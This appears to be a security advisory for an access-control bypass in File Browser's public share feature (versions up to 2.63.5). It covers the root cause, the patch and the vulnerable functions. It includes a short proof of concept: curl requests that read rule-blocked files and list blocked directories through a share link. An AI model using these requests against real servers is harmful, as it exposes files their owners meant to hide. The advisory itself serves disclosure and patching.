Miggo at BlackHat 2026!
Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe vulnerability exists in the public sharing feature of File Browser. When a directory is shared, the application creates a new virtual filesystem rooted at that directory to restrict access. However, the access control rule checking mechanism was not made aware of this change of root. The data.Check function, which is responsible for rule validation, would receive a path relative to the new root (e.g., /secret.txt) and compare it against rules defined from the user's actual filesystem root (e.g., /projects/private/secret.txt). The mismatch in paths caused deny rules to be bypassed, allowing unauthorized access.
The patch addresses this by introducing a checkerPrefix field in the data struct. This field stores the base path of the shared directory. The withHashFile middleware, which performs the filesystem rebasing, was modified to set this prefix. Subsequently, the data.Check function was updated to prepend this prefix to the incoming path, effectively reconstructing the original, absolute path before performing the rule check. This ensures that rules are correctly applied even when dealing with rebased public shares.
The identified vulnerable functions are the HTTP handlers (publicShareHandler, publicDlHandler) that serve as the entry points for the exploit, the middleware (withHashFile) that contains the core flawed logic, and the rule checking function (data.Check) that performs the incorrect validation.
fbhttp.data.Checkhttp/data.go
fbhttp.withHashFilehttp/public.go
fbhttp.publicShareHandlerhttp/public.go
fbhttp.publicDlHandlerhttp/public.go
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| github.com/filebrowser/filebrowser/v2 | go | <= 2.63.5 | 2.63.6 |
The issue is reachable from the public endpoints registered in http/http.go for /api/public/share/* and /api/public/dl/*.
The attacker only needs a directory share URL. No authenticated session is required if the share is not password protected.
Reproduction flow:
/projects/./projects/private/secret.txt./projects/private./projects/.PoC:
# owner creates a public share for /projects/
curl -s -X POST 'http://HOST/api/share/projects/' \
-H 'X-Auth: <OWNER_JWT>' \
-H 'Content-Type: application/json' \
-d '{}'
The response contains a share hash such as:
{"hash":"<HASH>","path":"/projects/","userID":2,"expire":0}
The attacker can then access a rule-blocked file below the shared directory:
curl -i 'http://HOST/api/public/dl/<HASH>/private/secret.txt'
A blocked subdirectory can also be listed directly:
curl -i 'http://HOST/api/public/share/<HASH>/private/'
the server returns 200 OK and serves the file content or directory listing, even though the share owner's rules should have made that path inaccessible.
This flaw allows public share recipients to read files and browse directories that the share owner explicitly intended to block with File Browser rules. Because the vulnerable path is the public share feature, the exposure can be unauthenticated and internet-reachable whenever a share link is exposed.
In practical deployments, this can disclose secrets, configuration files, backup material, private project directories, or any other content that administrators or users attempted to hide beneath a shared parent directory using the built-in rule system.